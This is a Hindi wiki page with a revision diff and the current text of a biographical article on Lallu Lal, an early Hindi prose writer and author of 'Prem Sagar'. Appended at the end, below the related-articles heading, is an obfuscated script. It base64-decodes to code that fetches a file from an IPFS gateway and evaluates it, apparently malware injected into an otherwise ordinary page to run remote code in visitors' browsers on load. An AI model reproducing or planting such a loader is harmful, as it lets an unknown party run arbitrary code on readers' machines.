"लल्लू लालजी": अवतरणों में अंतर
गोविन्द राम (वार्ता | योगदान) No edit summary |
आदित्य चौधरी (वार्ता | योगदान) छो (Text replace - "अविभावक" to "अभिभावक") |
||
(4 सदस्यों द्वारा किए गए बीच के 7 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
{{सूचना बक्सा साहित्यकार | |||
|चित्र=Blankimage.png | |||
|चित्र का नाम=लल्लू लाल | |||
|पूरा नाम=लल्लू लाल | |||
|अन्य नाम='लालचंद', 'लल्लूजी' या 'लाल कवि' | |||
|जन्म=1763 ई. | |||
|जन्म भूमि=[[आगरा]], [[उत्तर प्रदेश]] | |||
|मृत्यु=1835 | |||
|मृत्यु स्थान=[[कोलकाता]], [[पश्चिम बंगाल]] | |||
|अभिभावक= | |||
|पालक माता-पिता= | |||
|पति/पत्नी= | |||
|संतान= | |||
|कर्म भूमि=[[भारत]] | |||
|कर्म-क्षेत्र= | |||
|मुख्य रचनाएँ='सिंहासन बत्तीसी', 'बैताल पच्चीसी', 'शंकुतला', 'माधवानल', 'प्रेम सागर', 'ब्रज भाषा व्याकरण' आदि। | |||
|विषय= | |||
|भाषा=[[हिन्दी]] | |||
|विद्यालय= | |||
|शिक्षा= | |||
|पुरस्कार-उपाधि= | |||
|प्रसिद्धि=साहित्यकार | |||
|विशेष योगदान=[[हिन्दी]] के विकास में लल्लू लालजी का बहुत योगदान था। | |||
|नागरिकता=भारतीय | |||
|संबंधित लेख= | |||
|शीर्षक 1= | |||
|पाठ 1= | |||
|शीर्षक 2= | |||
|पाठ 2= | |||
|अन्य जानकारी=लल्लू लाल द्वारा लिखी गई कृति '[[प्रेमसागर]]' [[कृष्ण]] की लीलाओं व [[भागवत पुराण]] के दसवें अध्याय पर आधारित थी। डब्लू. होलिंग्स ने सन् 1848 में [[अंग्रेज़ी]] में 'प्रेमसागर' का अनुवाद किया था। | |||
|बाहरी कड़ियाँ= | |||
|अद्यतन= | |||
}} | |||
'''लल्लू लाल''' (जन्म- 1763 ई., [[आगरा]], [[उत्तर प्रदेश]]; मृत्यु- 1835, [[कलकत्ता]]<ref>वर्तमान कोलकाता</ref>, [[पश्चिम बंगाल]]) [[हिन्दी]] गद्य के निर्माताओं में से एक और 'प्रेम सागर' के रचनाकार के रूप में प्रसिद्ध थे। इन्हें 'लालचंद', 'लल्लूजी' या 'लाल कवि' के नाम से भी जाना जाता था। एक साहित्यकार के रूप में लल्लू लालजी किस पायदान पर थे, इसका मूल्यांकन करना तो आलोचकों का काम है, लेकिन यह सब मानते हैं कि हिन्दी के विकास में उनका बहुत योगदान था। | |||
==परिचय== | |||
लल्लू लाल का जन्म 1763 ई. में ब्रिटिश कालीन [[उत्तर प्रदेश]] के [[आगरा]] में हुआ था। इनके पूर्वज [[गुजरात]] से आकर यहाँ बसे थे। कहा जाता है कि लल्लू लाल आगरा शहर की 'सुनार गली' में ही कहीं रहते थे। आगरा की 'नागरी प्रचारिणी सभा' में भी उनका विवरण नहीं है। | |||
====व्यावसायिक संघर्ष==== | |||
लल्लू लाल को आजीविका के लिए बहुत भटकना पड़ा। वे [[मुर्शिदाबाद]], [[कोलकाता]], [[जगन्नाथपुरी]] आदि स्थानों में गए, पर नियमित आजीविका की कोई व्यवस्था नहीं हो पाई तो वे घूम-फिर कर फिर कोलकाता आ गए।<ref name="aa">{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन= |संपादन=|पृष्ठ संख्या=759|url=}}</ref> | |||
==अध्यापन कार्य== | |||
लल्लू लालजी तैरना बहुत अच्छा जानते थे। कहते हैं कि एक दिन उन्होंने तैरते समय एक [[अंग्रेज़]] को डूबने से बचाया था। इस पर उस अंग्रेज़ ने इनकी बड़ी सहायता की और इन्हें 'फ़ोर्ट विलियम कॉलेज' में [[हिन्दी]] पढ़ाने और हिन्दी गद्य ग्रंथों की रचना का काम मिल गया। उनका काम ब्रिटिश राज के कर्मचारियों के लिए पाठन सामग्री तैयार करना भी था। | |||
==रचनाएँ== | |||
एक साहित्यकार के रूप में लल्लूजी किस पायदान पर थे, इसका मूल्यांकन करना तो आलोचकों का काम है, लेकिन यह सब मानते हैं कि हिन्दी के विकास में उनका बहुत योगदान था। इनके द्वारा रचित प्रमुख [[ग्रंथ]] इस प्रकार हैं- | |||
#सिंहासन बत्तीसी | |||
#बैताल पच्चीसी | |||
#शंकुतला | |||
#माधवानल | |||
#प्रेम सागर | |||
#ब्रज भाषा व्याकरण | |||
इनमें व्याकरण ग्रंथ को छोड़कर कोई रचना इनकी मौलिक नहीं मानी जाती है। सभी [[ब्रजभाषा]] में प्रकाशित किसी न किसी पुस्तक के आधार पर लिखी गई थीं। फिर भी इन पुस्तकों ने हिन्दी गद्य के आरम्भिक काल में [[खड़ी बोली]] के प्रचार में योगदान दिया। 'बिहारी सतसई' की [[टीका]] भी इन्होंने ‘लाल चंद्रिका’ नाम से की थी।<ref name="aa"/> | |||
====प्रेमसागर==== | |||
1804 से 1810 के बीच लिखी गई कृति '[[प्रेमसागर]]' [[कृष्ण]] की लीलाओं व [[भागवत पुराण]] के दसवें अध्याय पर आधारित थी। डब्लू. होलिंग्स ने सन् 1848 में [[अंग्रेज़ी]] में 'प्रेमसागर' का अनुवाद किया। 47वीं रेजीमेंट [[लखनऊ]] में कैप्टन हाँलिंग्स ने प्रस्तावना में लिखा था- "[[हिन्दी भाषा]] का ज्ञान [[भारत|हिन्दुस्तान]](तत्कालीन [[भारत]]) में रहने वाले सभी सरकारी अफ़सरों के लिए ज़रूरी है, क्योंकि यह देश के ज़्यादातर हिस्से में बोली जाती है।" प्राइस ने 'प्रेमसागर' के कठिन शब्दों का हिन्दी-अंग्रेज़ी कोष तैयार किया था। | |||
{{लेख प्रगति | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक=|पूर्णता=|शोध=}} | ||
|आधार= | |||
|प्रारम्भिक=प्रारम्भिक1 | |||
|माध्यमिक= | |||
|पूर्णता= | |||
|शोध= | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{साहित्यकार}} | {{साहित्यकार}} | ||
[[Category: | [[Category:साहित्यकार]][[Category:लेखक]][[Category:आधुनिक लेखक]][[Category:साहित्य_कोश]][[Category:जीवनी साहित्य]][[Category:चरित कोश]] | ||
[[Category:लेखक]][[Category:साहित्य_कोश]][[Category: | |||
__INDEX__ | __INDEX__ | ||
__NOTOC__ |
05:04, 29 मई 2015 के समय का अवतरण
लल्लू लालजी
| |
पूरा नाम | लल्लू लाल |
अन्य नाम | 'लालचंद', 'लल्लूजी' या 'लाल कवि' |
जन्म | 1763 ई. |
जन्म भूमि | आगरा, उत्तर प्रदेश |
मृत्यु | 1835 |
मृत्यु स्थान | कोलकाता, पश्चिम बंगाल |
कर्म भूमि | भारत |
मुख्य रचनाएँ | 'सिंहासन बत्तीसी', 'बैताल पच्चीसी', 'शंकुतला', 'माधवानल', 'प्रेम सागर', 'ब्रज भाषा व्याकरण' आदि। |
भाषा | हिन्दी |
प्रसिद्धि | साहित्यकार |
विशेष योगदान | हिन्दी के विकास में लल्लू लालजी का बहुत योगदान था। |
नागरिकता | भारतीय |
अन्य जानकारी | लल्लू लाल द्वारा लिखी गई कृति 'प्रेमसागर' कृष्ण की लीलाओं व भागवत पुराण के दसवें अध्याय पर आधारित थी। डब्लू. होलिंग्स ने सन् 1848 में अंग्रेज़ी में 'प्रेमसागर' का अनुवाद किया था। |
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
लल्लू लाल (जन्म- 1763 ई., आगरा, उत्तर प्रदेश; मृत्यु- 1835, कलकत्ता[1], पश्चिम बंगाल) हिन्दी गद्य के निर्माताओं में से एक और 'प्रेम सागर' के रचनाकार के रूप में प्रसिद्ध थे। इन्हें 'लालचंद', 'लल्लूजी' या 'लाल कवि' के नाम से भी जाना जाता था। एक साहित्यकार के रूप में लल्लू लालजी किस पायदान पर थे, इसका मूल्यांकन करना तो आलोचकों का काम है, लेकिन यह सब मानते हैं कि हिन्दी के विकास में उनका बहुत योगदान था।
परिचय
लल्लू लाल का जन्म 1763 ई. में ब्रिटिश कालीन उत्तर प्रदेश के आगरा में हुआ था। इनके पूर्वज गुजरात से आकर यहाँ बसे थे। कहा जाता है कि लल्लू लाल आगरा शहर की 'सुनार गली' में ही कहीं रहते थे। आगरा की 'नागरी प्रचारिणी सभा' में भी उनका विवरण नहीं है।
व्यावसायिक संघर्ष
लल्लू लाल को आजीविका के लिए बहुत भटकना पड़ा। वे मुर्शिदाबाद, कोलकाता, जगन्नाथपुरी आदि स्थानों में गए, पर नियमित आजीविका की कोई व्यवस्था नहीं हो पाई तो वे घूम-फिर कर फिर कोलकाता आ गए।[2]
अध्यापन कार्य
लल्लू लालजी तैरना बहुत अच्छा जानते थे। कहते हैं कि एक दिन उन्होंने तैरते समय एक अंग्रेज़ को डूबने से बचाया था। इस पर उस अंग्रेज़ ने इनकी बड़ी सहायता की और इन्हें 'फ़ोर्ट विलियम कॉलेज' में हिन्दी पढ़ाने और हिन्दी गद्य ग्रंथों की रचना का काम मिल गया। उनका काम ब्रिटिश राज के कर्मचारियों के लिए पाठन सामग्री तैयार करना भी था।
रचनाएँ
एक साहित्यकार के रूप में लल्लूजी किस पायदान पर थे, इसका मूल्यांकन करना तो आलोचकों का काम है, लेकिन यह सब मानते हैं कि हिन्दी के विकास में उनका बहुत योगदान था। इनके द्वारा रचित प्रमुख ग्रंथ इस प्रकार हैं-
- सिंहासन बत्तीसी
- बैताल पच्चीसी
- शंकुतला
- माधवानल
- प्रेम सागर
- ब्रज भाषा व्याकरण
इनमें व्याकरण ग्रंथ को छोड़कर कोई रचना इनकी मौलिक नहीं मानी जाती है। सभी ब्रजभाषा में प्रकाशित किसी न किसी पुस्तक के आधार पर लिखी गई थीं। फिर भी इन पुस्तकों ने हिन्दी गद्य के आरम्भिक काल में खड़ी बोली के प्रचार में योगदान दिया। 'बिहारी सतसई' की टीका भी इन्होंने ‘लाल चंद्रिका’ नाम से की थी।[2]
प्रेमसागर
1804 से 1810 के बीच लिखी गई कृति 'प्रेमसागर' कृष्ण की लीलाओं व भागवत पुराण के दसवें अध्याय पर आधारित थी। डब्लू. होलिंग्स ने सन् 1848 में अंग्रेज़ी में 'प्रेमसागर' का अनुवाद किया। 47वीं रेजीमेंट लखनऊ में कैप्टन हाँलिंग्स ने प्रस्तावना में लिखा था- "हिन्दी भाषा का ज्ञान हिन्दुस्तान(तत्कालीन भारत) में रहने वाले सभी सरकारी अफ़सरों के लिए ज़रूरी है, क्योंकि यह देश के ज़्यादातर हिस्से में बोली जाती है।" प्राइस ने 'प्रेमसागर' के कठिन शब्दों का हिन्दी-अंग्रेज़ी कोष तैयार किया था।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>